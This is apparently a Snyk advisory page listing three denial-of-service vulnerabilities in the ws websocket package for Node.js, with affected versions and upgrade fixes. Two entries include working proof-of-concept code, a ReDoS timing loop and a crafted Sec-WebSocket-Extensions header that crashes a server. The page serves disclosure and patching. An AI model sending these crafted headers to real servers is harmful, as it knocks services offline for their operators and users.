ws@3.2.0 vulnerabilities

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

Direct Vulnerabilities

Known vulnerabilities in the ws package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Denial of Service (DoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

How to fix Denial of Service (DoS)?

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

>=2.1.0 <5.2.4 >=6.0.0 <6.2.3 >=7.0.0 <7.5.10 >=8.0.0 <8.17.1
  • M
Regular Expression Denial of Service (ReDoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

>=7.0.0 <7.4.6 >=6.0.0 <6.2.2 <5.2.3
  • H
Denial of Service (DoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

How to fix Denial of Service (DoS)?

Upgrade ws to version 1.1.5, 3.3.1 or higher.

<1.1.5 >=2.0.0 <3.3.1